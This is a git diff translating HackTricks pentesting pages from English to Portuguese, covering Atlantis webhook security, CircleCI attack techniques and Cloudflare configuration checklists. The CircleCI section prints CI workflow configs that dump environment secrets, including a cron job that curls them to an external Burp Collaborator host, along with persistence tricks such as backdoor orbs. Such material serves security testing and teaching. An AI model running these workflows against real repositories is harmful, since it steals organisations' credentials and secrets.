senha básicos. #### Azure DevOps Basic Authentication -Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location. +O Azure DevOps suporta o envio de um cabeçalho de autenticação básica em todos os eventos de webhook. Isso requer o uso de uma URL HTTPS para sua localização de webhook. #### SSL/HTTPS -If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags. +Se você estiver usando webhook secrets, mas seu tráfego estiver sobre HTTP, então os webhook secrets poderiam ser roubados. Ative SSL/HTTPS usando as flags `--ssl-cert-file` e `--ssl-key-file`. #### Enable Authentication on Atlantis Web Server -It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags. +É altamente recomendado habilitar a autenticação no serviço web. Ative o BasicAuth usando `--web-basic-auth=true` e configure um nome de usuário e uma senha usando as flags `--web-username=yourUsername` e `--web-password=yourPassword`. -You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`. +Você também pode passar isso como variáveis de ambiente `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` e `ATLANTIS_WEB_PASSWORD=yourPassword`. ### References @@ -386,7 +370,3 @@ You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` - [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html) {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md index 8b8a1fea1..f0315b32a 100644 --- a/src/pentesting-ci-cd/circleci-security.md +++ b/src/pentesting-ci-cd/circleci-security.md @@ -4,256 +4,232 @@ ### Basic Information -[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example. +[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) é uma plataforma de Integração Contínua onde você pode **definir templates** indicando o que deseja que ela faça com algum código e quando fazê-lo. Dessa forma, você pode **automatizar testes** ou **implantações** diretamente **da sua branch principal do repositório**, por exemplo. ### Permissions -**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\ -In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...). +**CircleCI** **herda as permissões** do github e bitbucket relacionadas à **conta** que faz login.\ +Nos meus testes, verifiquei que, desde que você tenha **permissões de escrita sobre o repositório no github**, você poderá **gerenciar as configurações do projeto no CircleCI** (definir novas chaves ssh, obter chaves de api do projeto, criar novas branches com novas configurações do CircleCI...). -However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**. +No entanto, você precisa ser um **administrador do repositório** para **converter o repositório em um projeto CircleCI**. ### Env Variables & Secrets -According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow. +De acordo com [**a documentação**](https://circleci.com/docs/2.0/env-vars/), existem diferentes maneiras de **carregar valores em variáveis de ambiente** dentro de um fluxo de trabalho. #### Built-in env variables -Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`. +Todo contêiner executado pelo CircleCI sempre terá [**variáveis de ambiente específicas definidas na documentação**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) como `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` ou `CIRCLE_USERNAME`. #### Clear text -You can declare them in clear text inside a **command**: - +Você pode declará-las em texto claro dentro de um **comando**: ```yaml - run: - name: "set and echo" - command: | - SECRET="A secret" - echo $SECRET +name: "set and echo" +command: | +SECRET="A secret" +echo $SECRET ``` - -You can declare them in clear text inside the **run environment**: - +Você pode declará-los em texto claro dentro do **run environment**: ```yaml - run: - name: "set and echo" - command: echo $SECRET - environment: - SECRET: A secret +name: "set and echo" +command: echo $SECRET +environment: +SECRET: A secret ``` - -You can declare them in clear text inside the **build-job environment**: - +Você pode declará-los em texto claro dentro do **build-job environment**: ```yaml jobs: - build-job: - docker: - - image: cimg/base:2020.01 - environment: - SECRET: A secret +build-job: +docker: +- image: cimg/base:2020.01 +environment: +SECRET: A secret ``` - -You can declare them in clear text inside the **environment of a container**: - +Você pode declará-los em texto claro dentro do **ambiente de um contêiner**: ```yaml jobs: - build-job: - docker: - - image: cimg/base:2020.01 - environment: - SECRET: A secret +build-job: +docker: +- image: cimg/base:2020.01 +environment: +SECRET: A secret ``` +#### Segredos do Projeto -#### Project Secrets - -These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\ -You can see them **declared in** _https://app.circleci.com/settings/project/github/\/\/environment-variables_ +Estes são **segredos** que só serão **acessíveis** pelo **projeto** (por **qualquer branch**).\ +Você pode vê-los **declarados em** _https://app.circleci.com/settings/project/github/\/\/environment-variables_ ![](<../images/image (129).png>) > [!CAUTION] -> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. +> A funcionalidade "**Importar Variáveis**" permite **importar variáveis de outros projetos** para este. -#### Context Secrets +#### Segredos de Contexto -These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here: +Estes são segredos que são **ampla organização**. Por **padrão, qualquer repositório** poderá **acessar qualquer segredo** armazenado aqui: ![](<../images/image (123).png>) > [!TIP] -> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\ -> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people. +> No entanto, observe que um grupo diferente (em vez de Todos os membros) pode ser **selecionado para dar acesso apenas a pessoas específicas**.\ +> Esta é atualmente uma das melhores maneiras de **aumentar a segurança dos segredos**, para não permitir que todos tenham acesso a eles, mas apenas algumas pessoas. -### Attacks +### Ataques -#### Search Clear Text Secrets +#### Buscar Segredos em Texto Claro -If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there. +Se você tiver **acesso ao VCS** (como github), verifique o arquivo `.circleci/config.yml` de **cada repositório em cada branch** e **busque** por potenciais **segredos em texto claro** armazenados lá. -#### Secret Env Vars & Context enumeration +#### Enumeração de Variáveis de Ambiente Secretas & Contexto -Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\/contexts_. +Verificando o código, você pode encontrar **todos os nomes dos segredos** que estão sendo **usados** em cada arquivo `.circleci/config.yml`. Você também pode obter os **nomes dos contextos** desses arquivos ou verificá-los no console da web: _https://app.circleci.com/settings/organization/github/\/contexts_. -#### Exfiltrate Project secrets +#### Exfiltrar Segredos do Projeto > [!WARNING] -> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_). +> Para **exfiltrar TODOS** os **SEGREDOS** do projeto e do contexto, você **apenas** precisa ter acesso **WRITE** a **apenas 1 repositório** em toda a organização do github (_e sua conta deve ter acesso aos contextos, mas por padrão todos podem acessar todos os contextos_). > [!CAUTION] -> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**. - -All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**: +> A funcionalidade "**Importar Variáveis**" permite **importar variáveis de outros projetos** para este. Portanto, um atacante poderia **importar todas as variáveis do projeto de todos os repositórios** e então **exfiltrar todas elas juntas**. +Todos os segredos do projeto sempre são definidos no env dos jobs, então apenas chamando env e ofuscando-o em base64 irá exfiltrar os segredos no **console de log da web dos workflows**: ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "env | base64" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "env | base64" workflows: - exfil-env-workflow: - jobs: - - exfil-env +exfil-env-workflow: +jobs: +- exfil-env ``` - -If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**: - +Se você **não tem acesso ao console da web** mas tem **acesso ao repositório** e sabe que o CircleCI é usado, você pode simplesmente **criar um fluxo de trabalho** que é **disparado a cada minuto** e que **exfiltra os segredos para um endereço externo**: ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" # I filter by the repo branch where this config.yaml file is located: circleci-project-setup workflows: - exfil-env-workflow: - triggers: - - schedule: - cron: "* * * * *" - filters: - branches: - only: - - circleci-project-setup - jobs: - - exfil-env +exfil-env-workflow: +triggers: +- schedule: +cron: "* * * * *" +filters: +branches: +only: +- circleci-project-setup +jobs: +- exfil-env ``` +#### Exfiltrar Segredos de Contexto -#### Exfiltrate Context Secrets - -You need to **specify the context name** (this will also exfiltrate the project secrets): - +Você precisa **especificar o nome do contexto** (isso também irá exfiltrar os segredos do projeto): ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "env | base64" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "env | base64" workflows: - exfil-env-workflow: - jobs: - - exfil-env: - context: Test-Context +exfil-env-workflow: +jobs: +- exfil-env: +context: Test-Context ``` - -If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**: - +Se você **não tem acesso ao console da web** mas tem **acesso ao repositório** e sabe que o CircleCI é usado, você pode simplesmente **modificar um fluxo de trabalho** que é **disparado a cada minuto** e que **exfiltra os segredos para um endereço externo**: ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" # I filter by the repo branch where this config.yaml file is located: circleci-project-setup workflows: - exfil-env-workflow: - triggers: - - schedule: - cron: "* * * * *" - filters: - branches: - only: - - circleci-project-setup - jobs: - - exfil-env: - context: Test-Context +exfil-env-workflow: +triggers: +- schedule: +cron: "* * * * *" +filters: +branches: +only: +- circleci-project-setup +jobs: +- exfil-env: +context: Test-Context ``` - > [!WARNING] -> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**. +> Apenas criar um novo `.circleci/config.yml` em um repositório **não é suficiente para acionar uma build do circleci**. Você precisa **habilitá-lo como um projeto no console do circleci**. #### Escape to Cloud -**CircleCI** gives you the option to run **your builds in their machines or in your own**.\ -By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**. - -Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions): +**CircleCI** oferece a opção de executar **suas builds em suas máquinas ou em suas próprias**.\ +Por padrão, suas máquinas estão localizadas no GCP, e você inicialmente não conseguirá encontrar nada relevante. No entanto, se uma vítima estiver executando as tarefas em **suas próprias máquinas (potencialmente, em um ambiente de nuvem)**, você pode encontrar um **endpoint de metadados da nuvem com informações interessantes**. +Observe que nos exemplos anteriores tudo foi lançado dentro de um contêiner docker, mas você também pode **pedir para lançar uma máquina VM** (que pode ter permissões de nuvem diferentes): ```yaml jobs: - exfil-env: - #docker: - # - image: cimg/base:stable - machine: - image: ubuntu-2004:current +exfil-env: +#docker: +# - image: cimg/base:stable +machine: +image: ubuntu-2004:current ``` - -Or even a docker container with access to a remote docker service: - +Ou até mesmo um contêiner docker com acesso a um serviço docker remoto: ```yaml jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - setup_remote_docker: - version: 19.03.13 +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- setup_remote_docker: +version: 19.03.13 ``` +#### Persistência -#### Persistence - -- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access. - - _https://app.circleci.com/settings/user/tokens_ -- It's possible to **create projects tokens** to access the project with the permissions given to the token. - - _https://app.circleci.com/settings/project/github/\/\/api_ -- It's possible to **add SSH keys** to the projects. - - _https://app.circleci.com/settings/project/github/\/\/ssh_ -- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday. - - Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday. -- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor** -- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value +- É possível **criar** **tokens de usuário no CircleCI** para acessar os endpoints da API com o acesso dos usuários. +- _https://app.circleci.com/settings/user/tokens_ +- É possível **criar tokens de projetos** para acessar o projeto com as permissões dadas ao token. +- _https://app.circleci.com/settings/project/github/\/\/api_ +- É possível **adicionar chaves SSH** aos projetos. +- _https://app.circleci.com/settings/project/github/\/\/ssh_ +- É possível **criar um cron job em uma branch oculta** em um projeto inesperado que está **vazando** todas as variáveis de **contexto env** todos os dias. +- Ou até mesmo criar em uma branch / modificar um job conhecido que irá **vazar** todos os segredos de contexto e **projetos** todos os dias. +- Se você é um proprietário do github, pode **permitir orbs não verificados** e configurar um em um job como **backdoor**. +- Você pode encontrar uma **vulnerabilidade de injeção de comando** em alguma tarefa e **injetar comandos** via um **segredo** modificando seu valor. {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index 77d2c2c50..8458d6971 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -2,23 +2,23 @@ {{#include ../../banners/hacktricks-training.md}} -In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:** +Em uma conta Cloudflare, existem algumas **configurações gerais e serviços** que podem ser configurados. Nesta página, vamos **analisar as configurações relacionadas à segurança de cada seção:**
## Websites -Review each with: +Revise cada um com: {{#ref}} cloudflare-domains.md {{#endref}} -### Domain Registration +### Registro de Domínio -- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain. +- [ ] Em **`Transfer Domains`**, verifique se não é possível transferir nenhum domínio. -Review each with: +Revise cada um com: {{#ref}} cloudflare-domains.md @@ -26,39 +26,39 @@ cloudflare-domains.md ## Analytics -_I couldn't find anything to check for a config security review._ +_Eu não consegui encontrar nada para verificar em uma revisão de segurança de configuração._ ## Pages -On each Cloudflare's page: +Em cada página do Cloudflare: -- [ ] Check for **sensitive information** in the **`Build log`**. -- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages. -- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/). -- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any). -- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code** -- [ ] In the details of each page `//pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**. -- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page. +- [ ] Verifique se há **informações sensíveis** no **`Build log`**. +- [ ] Verifique se há **informações sensíveis** no **repositório do Github** atribuído às páginas. +- [ ] Verifique a possível comprometimento do repositório do github via **workflow command injection** ou comprometimento de `pull_request_target`. Mais informações na [**página de Segurança do Github**](../github-security/). +- [ ] Verifique se há **funções vulneráveis** no diretório `/fuctions` (se houver), verifique os **redirecionamentos** no arquivo `_redirects` (se houver) e **cabeçalhos mal configurados** no arquivo `_headers` (se houver). +- [ ] Verifique se há **vulnerabilidades** na **página da web** via **blackbox** ou **whitebox** se você puder **acessar o código**. +- [ ] Nos detalhes de cada página `//pages/view/blocklist/settings/functions`. Verifique se há **informações sensíveis** nas **`Environment variables`**. +- [ ] Na página de detalhes, verifique também o **comando de build** e o **diretório raiz** para **potenciais injeções** que possam comprometer a página. ## **Workers** -On each Cloudflare's worker check: +Em cada worker do Cloudflare, verifique: -- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker? -- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information** -- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input) - - Check for SSRFs returning the indicated page that you can control - - Check XSSs executing JS inside a svg image - - It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input. +- [ ] Os gatilhos: O que faz o worker ser acionado? Um **usuário pode enviar dados** que serão **usados** pelo worker? +- [ ] Nas **`Settings`**, verifique se há **`Variables`** contendo **informações sensíveis**. +- [ ] Verifique o **código do worker** e procure por **vulnerabilidades** (especialmente em lugares onde o usuário pode gerenciar a entrada). +- Verifique SSRFs retornando a página indicada que você pode controlar. +- Verifique XSSs executando JS dentro de uma imagem svg. +- É possível que o worker interaja com outros serviços internos. Por exemplo, um worker pode interagir com um bucket R2 armazenando informações obtidas da entrada. Nesse caso, seria necessário verificar quais capacidades o worker tem sobre o bucket R2 e como isso poderia ser abusado a partir da entrada do usuário. > [!WARNING] -> Note that by default a **Worker is given a URL** such as `..workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it. +> Note que, por padrão, um **Worker recebe uma URL** como `..workers.dev`. O usuário pode configurá-la para um **subdomínio**, mas você sempre pode acessá-la com essa **URL original** se souber. ## R2 -On each R2 bucket check: +Em cada bucket R2, verifique: -- [ ] Configure **CORS Policy**. +- [ ] Configure a **Política de CORS**. ## Stream @@ -70,8 +70,8 @@ TODO ## Security Center -- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise. -- [ ] Just **check this information** for security misconfigurations and interesting info +- [ ] Se possível, execute uma **varredura de `Security Insights`** e uma **varredura de `Infrastructure`**, pois elas **destacarão** informações interessantes do ponto de vista de **segurança**. +- [ ] Apenas **verifique essas informações** para configurações de segurança incorretas e informações interessantes. ## Turnstile @@ -86,53 +86,49 @@ cloudflare-zero-trust-network.md ## Bulk Redirects > [!NOTE] -> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior. +> Ao contrário dos [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), os [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) são essencialmente estáticos — eles não **suportam operações de substituição de string** ou expressões regulares. No entanto, você pode configurar parâmetros de redirecionamento de URL que afetam seu comportamento de correspondência de URL e seu comportamento em tempo de execução. -- [ ] Check that the **expressions** and **requirements** for redirects **make sense**. -- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info. +- [ ] Verifique se as **expressões** e **requisitos** para redirecionamentos **fazem sentido**. +- [ ] Verifique também se há **endpoints ocultos sensíveis** que contenham informações interessantes. ## Notifications -- [ ] Check the **notifications.** These notifications are recommended for security: - - `Usage Based Billing` - - `HTTP DDoS Attack Alert` - - `Layer 3/4 DDoS Attack Alert` - - `Advanced HTTP DDoS Attack Alert` - - `Advanced Layer 3/4 DDoS Attack Alert` - - `Flow-based Monitoring: Volumetric Attack` - - `Route Leak Detection Alert` - - `Access mTLS Certificate Expiration Alert` - - `SSL for SaaS Custom Hostnames Alert` - - `Universal SSL Alert` - - `Script Monitor New Code Change Detection Alert` - - `Script Monitor New Domain Alert` - - `Script Monitor New Malicious Domain Alert` - - `Script Monitor New Malicious Script Alert` - - `Script Monitor New Malicious URL Alert` - - `Script Monitor New Scripts Alert` - - `Script Monitor New Script Exceeds Max URL Length Alert` - - `Advanced Security Events Alert` - - `Security Events Alert` -- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS** - - [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous** +- [ ] Verifique as **notificações.** Essas notificações são recomendadas para segurança: +- `Usage Based Billing` +- `HTTP DDoS Attack Alert` +- `Layer 3/4 DDoS Attack Alert` +- `Advanced HTTP DDoS Attack Alert` +- `Advanced Layer 3/4 DDoS Attack Alert` +- `Flow-based Monitoring: Volumetric Attack` +- `Route Leak Detection Alert` +- `Access mTLS Certificate Expiration Alert` +- `SSL for SaaS Custom Hostnames Alert` +- `Universal SSL Alert` +- `Script Monitor New Code Change Detection Alert` +- `Script Monitor New Domain Alert` +- `Script Monitor New Malicious Domain Alert` +- `Script Monitor New Malicious Script Alert` +- `Script Monitor New Malicious URL Alert` +- `Script Monitor New Scripts Alert` +- `Script Monitor New Script Exceeds Max URL Length Alert` +- `Advanced Security Events Alert` +- `Security Events Alert` +- [ ] Verifique todos os **destinos**, pois pode haver **informações sensíveis** (autenticação http básica) nas URLs de webhook. Certifique-se também de que as URLs de webhook usem **HTTPS**. +- [ ] Como verificação extra, você pode tentar **impersonar uma notificação do cloudflare** para um terceiro, talvez você consiga **injetar algo perigoso** de alguma forma. ## Manage Account -- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**. -- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**. -- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle. - - Therefore, whenever possible is **recommended** to use the **Enterprise plan**. -- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled. +- [ ] É possível ver os **últimos 4 dígitos do cartão de crédito**, o **tempo de expiração** e o **endereço de cobrança** em **`Billing` -> `Payment info`**. +- [ ] É possível ver o **tipo de plano** usado na conta em **`Billing` -> `Subscriptions`**. +- [ ] Em **`Members`**, é possível ver todos os membros da conta e seu **papel**. Note que se o tipo de plano não for Enterprise, existem apenas 2 papéis: Administrador e Super Administrador. Mas se o **plano utilizado for Enterprise**, [**mais papéis**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) podem ser usados para seguir o princípio do menor privilégio. +- Portanto, sempre que possível, é **recomendado** usar o **plano Enterprise**. +- [ ] Em Membros, é possível verificar quais **membros** têm **2FA habilitado**. **Todo** usuário deve tê-lo habilitado. > [!NOTE] -> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members) +> Note que, felizmente, o papel **`Administrator`** não dá permissões para gerenciar associações (**não pode escalar privilégios ou convidar** novos membros). ## DDoS Investigation -[Check this part](cloudflare-domains.md#cloudflare-ddos-protection). +[Verifique esta parte](cloudflare-domains.md#cloudflare-ddos-protection). {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md index 02989e685..571b2ff4a 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md @@ -2,29 +2,29 @@ {{#include ../../banners/hacktricks-training.md}} -In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:** +Em cada TLD configurado no Cloudflare, existem algumas **configurações e serviços gerais** que podem ser configurados. Nesta página, vamos **analisar as configurações relacionadas à segurança de cada seção:**
-### Overview +### Visão Geral -- [ ] Get a feeling of **how much** are the services of the account **used** -- [ ] Find also the **zone ID** and the **account ID** +- [ ] Tenha uma noção de **quanto** os serviços da conta **são utilizados** +- [ ] Encontre também o **ID da zona** e o **ID da conta** -### Analytics +### Análise -- [ ] In **`Security`** check if there is any **Rate limiting** +- [ ] Em **`Segurança`**, verifique se há alguma **Limitação de Taxa** ### DNS -- [ ] Check **interesting** (sensitive?) data in DNS **records** -- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com) -- [ ] Check for web pages that **aren't** **proxied** -- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address -- [ ] Check that **DNSSEC** is **enabled** -- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs** - - This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings -- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) +- [ ] Verifique dados **interessantes** (sensíveis?) nos **registros DNS** +- [ ] Verifique por **subdomínios** que possam conter **informações sensíveis** apenas com base no **nome** (como admin173865324.domin.com) +- [ ] Verifique por páginas da web que **não estão** **protegidas** +- [ ] Verifique por **páginas da web protegidas** que podem ser **acessadas diretamente** por CNAME ou endereço IP +- [ ] Verifique se o **DNSSEC** está **ativado** +- [ ] Verifique se o **CNAME Flattening** está **usado** em **todos os CNAMEs** +- Isso pode ser útil para **ocultar vulnerabilidades de tomada de subdomínio** e melhorar os tempos de carregamento +- [ ] Verifique se os domínios [**não são vulneráveis a spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) ### **Email** @@ -36,82 +36,82 @@ TODO ### SSL/TLS -#### **Overview** +#### **Visão Geral** -- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point. -- [ ] The **SSL/TLS Recommender** should be enabled +- [ ] A **criptografia SSL/TLS** deve ser **Completa** ou **Completa (Estrita)**. Qualquer outra opção enviará **tráfego em texto claro** em algum momento. +- [ ] O **Recomendador SSL/TLS** deve estar ativado -#### Edge Certificates +#### Certificados de Edge -- [ ] **Always Use HTTPS** should be **enabled** -- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled** -- [ ] **Minimum TLS Version should be 1.2** -- [ ] **TLS 1.3 should be enabled** -- [ ] **Automatic HTTPS Rewrites** should be **enabled** -- [ ] **Certificate Transparency Monitoring** should be **enabled** +- [ ] **Sempre Usar HTTPS** deve estar **ativado** +- [ ] **HTTP Strict Transport Security (HSTS)** deve estar **ativado** +- [ ] **A versão mínima do TLS deve ser 1.2** +- [ ] **TLS 1.3 deve estar ativado** +- [ ] **Reescritas Automáticas de HTTPS** devem estar **ativadas** +- [ ] **Monitoramento de Transparência de Certificado** deve estar **ativado** -### **Security** +### **Segurança** -- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses. - - The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used. -- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used -- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare -- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections** -- [ ] In the **`Settings`** section: - - [ ] Check that the **`Security Level`** is **medium** or greater - - [ ] Check that the **`Challenge Passage`** is 1 hour at max - - [ ] Check that the **`Browser Integrity Check`** is **enabled** - - [ ] Check that the **`Privacy Pass Support`** is **enabled** +- [ ] Na seção **`WAF`**, é interessante verificar se as **regras de Firewall** e **limitação de taxa estão sendo usadas** para prevenir abusos. +- A ação **`Bypass`** irá **desativar as funcionalidades de segurança do Cloudflare** para uma solicitação. Não deve ser usada. +- [ ] Na seção **`Page Shield`**, é recomendado verificar se está **ativado** se alguma página estiver em uso +- [ ] Na seção **`API Shield`**, é recomendado verificar se está **ativado** se alguma API estiver exposta no Cloudflare +- [ ] Na seção **`DDoS`**, é recomendado ativar as **proteções DDoS** +- [ ] Na seção **`Configurações`**: +- [ ] Verifique se o **`Nível de Segurança`** é **médio** ou maior +- [ ] Verifique se o **`Período de Desafio`** é de no máximo 1 hora +- [ ] Verifique se a **`Verificação de Integridade do Navegador`** está **ativada** +- [ ] Verifique se o **`Suporte a Privacy Pass`** está **ativado** -#### **CloudFlare DDoS Protection** +#### **Proteção DDoS do CloudFlare** -- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access. -- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie. - - If the attack is from a **verified bot**, at least **add a rate limit** to bots. - - If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path. - - You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF. - - Check if **Managed rules** 